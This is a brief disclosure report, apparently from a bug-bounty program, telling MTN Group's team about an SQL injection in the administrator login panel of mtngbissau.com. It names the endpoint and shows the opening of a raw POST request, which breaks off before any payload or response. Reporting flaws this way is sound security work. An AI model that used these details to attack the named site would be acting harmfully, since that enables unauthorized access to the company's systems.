MTN Group: SQL Injection on the administrator panel

Hello team. The admin panel of the website is mtngbissau.com or is vulnerable to sql attack via https://mtngbissau.com/webadmin/index.php Request POST /webadmin/index.php HTTP/1.1 Host: mtngbissau.com User-Agent: Mozilla/5.0 X11; Linux x8664; rv:68.0 Gecko/20100101 Firefox/68.0 Accept:...